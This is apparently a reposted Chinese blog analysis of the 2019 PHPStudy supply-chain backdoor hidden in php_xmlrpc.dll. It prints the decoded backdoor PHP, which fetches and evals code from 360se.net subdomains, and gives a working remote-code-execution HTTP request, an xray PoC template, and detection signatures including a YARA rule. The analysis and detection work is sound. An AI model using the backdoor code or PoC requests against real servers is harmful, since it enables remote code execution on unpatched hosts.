PHPStudy后门事件分析

2019-09-29 约 582 字 预计阅读 3 分钟

声明:本文 【PHPStudy后门事件分析】 由作者 zzzhhh 于 2019-09-29 09:22:28 首发 先知社区 曾经 浏览数 89 次

感谢 zzzhhh 的辛苦付出!

PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击,程序包自带PHP的php_xmlrpc.dll模块隐藏有后门。经过分析除了有反向连接木马之外,还可以正向执行任意php代码。

影响版本

  • Phpstudy 2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
  • Phpstudy 2018 的php-5.2.17、php-5.4.45
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

分析过程

  • 1、定位特征字符串位置
  • 2、静态分析传参数据
  • 3、动态调试构造传参内容

php_xmlrpc.dll

PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。

定位特征字符串位置

根据@eval()这个代码执行函数定位到引用位置。@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码,中间%s格式符为字符串传参。函数地址为:0x100031F0

图1:eval特征代码

静态分析传参数据

通过F5查看代码,分析代码流程,判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。

第一部分,正向连接:判断ACCEPT_ENCODING如果等于gzip,deflate,读取ACCEPT_CHARSE的内容做base64解密,交给zend_eval_strings()函数可以执行任意恶意代码。

构造HTTP头,把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。

GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
….

第二部分,反向连接:判断ACCEPT_ENCODING如果等于compress,gzip,通过关键部分@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码,然后调用gzuncompress方法执行解密。

构造HTTP头,把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。

GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding:compress,gzip
….


图2:第1部分流程判断代码

图3:第2部分流程判断代码

这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密:

@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
    if( !$handle ){
        return "err";
    }
  }
  fwrite($handle, $sendMsg."\n");
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);
        $info = stream_get_meta_data($handle);
        if ($info['timed_out']) {
          break;
        }
     }
  fclose($handle); 
  return $result; 
}

$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
    $n = false;
    foreach ($ds as $d){
        $b = false;
        foreach ($ps as $p){
            $result = tcpGet($i,$d.".360se.net",$p); 
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

从1000D028 到1000D66C的代码解密:

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);
    fclose($fp);
}

动态调试构造传参内容

OD动态调试传参值需要对httpd.exe进程进行附加调试,phpstudy启用的httpd进程有两个。一个是带有参数的,一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。

根据前面IDA静态分析得到的后门函数地址,OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块,在DLL空间里定位后门函数地址0x100031F0,可能还需要手动修改偏移后下断点。使用burpsuite,构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。

图4:OD动态调试Payload

PHP脚本后门分析

脚本一功能:使用fsockopen模拟GET发包

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);
    fclose($fp);
}

脚本二功能:
内置有域名表和端口表,批量遍历然后发送数据。注释如下:

<?php
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
    $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);  // 接收数据,每次过来一条数据就要连接一次
      if( !$handle ){
        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);  //错误的时候就重连一次测试。
        if( !$handle ){
            return "err";
        }
    }
    fwrite($handle, $sendMsg."\n");         // 模拟发送数据
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);   // 读取文件
        $info = stream_get_meta_data($handle);     // 超时则退出
        if ($info['timed_out']) {
            break;
        }
    }
    fclose($handle);
    return $result;
}

$ds = array("www","bbs","cms","down","up","file","ftp");   // 域名表
$ps = array("20123","40125","8080","80","53");             // 端口表
$n = false;
do {
    $n = false;
    foreach ($ds as $d){                                   //遍历域名表
        $b = false;
        foreach ($ps as $p){                               // 遍历端口表
            $result = tcpGet($i,$d.".360se.net",$p);
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

?>

POC

熟悉原理后可根据执行流程构造执行任意代码的Payload:

GET /index.php HTTP/1.1
Host: 192.168.221.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Payload:printf(md5(333));
回显特征:310dcbbf4cce62f762a2aaa148d556bd

图5:Payload回显验证

漏洞验证插件

漏洞插件采用长亭科技xray社区漏洞扫描器。虽然现今网络上好多放出来的批量poc,我还是觉得使用长亭的插件写poc,省了好多心力去考虑写各种代码,把主要精力专注到漏洞分析和写poc上。

name: poc-yaml-phpstudy-backdoor-rce
rules:
  - method: GET
    path: /index.php
    headers:
      Accept-Encoding: 'gzip,deflate'
      Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==
    follow_redirects: false
    expression: |
      body.bcontains(b'a5952fb670b54572bcec7440a554633e')
detail:
  author: 17bdw
  Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
  vuln_url: "php_xmlrpc.dll"
  links:
    - https://www.freebuf.com/column/214946.html

网络特征

Accept-Encoding:gzip,deflate    少一个空格
Accept-Charset:为Base64编码

文件特征

特征一、
%s;@eval(%s('%s'));   25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27
29 29 3B
特征二、
@eval(%s('%s'));     40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B


rule PhpStudybackdoor
{
meta:
filetype=" PhpStudybackdoor "
description=" PhpStudybackdoor check"
strings:
$a1 = "@eval(%s('%s'));"
$a2 =”%s;@eval(%s('%s'));”
condition:
any of ($a*)
}

受影响站点

http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
http://www.smzy.com/smzy/down319529.html
https://www.jb51.net/softs/601577.html
http://www.mycodes.net/16/5051.htm
http://www.3322.cc/soft/40663.html
http://www.3h3.com/soft/131645.html
http://www.downyi.com/downinfo/117446.html
http://www.pc9.com/pc/info-4030.html
https://www.newasp.net/soft/75029.html
http://www.downxia.com/downinfo/153379.html
https://www.33lc.com/soft/21053.html
http://www.xfdown.com/soft/11170.html#xzdz
http://www.wei2008.com/news/news/201817035.html
http://www.188soft.com/soft/890860.html
http://soft.onlinedown.net/soft/92421.htm 
http://www.opdown.com/soft/16803.html#download 
https://www.cr173.com/soft/433065.html

参考

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now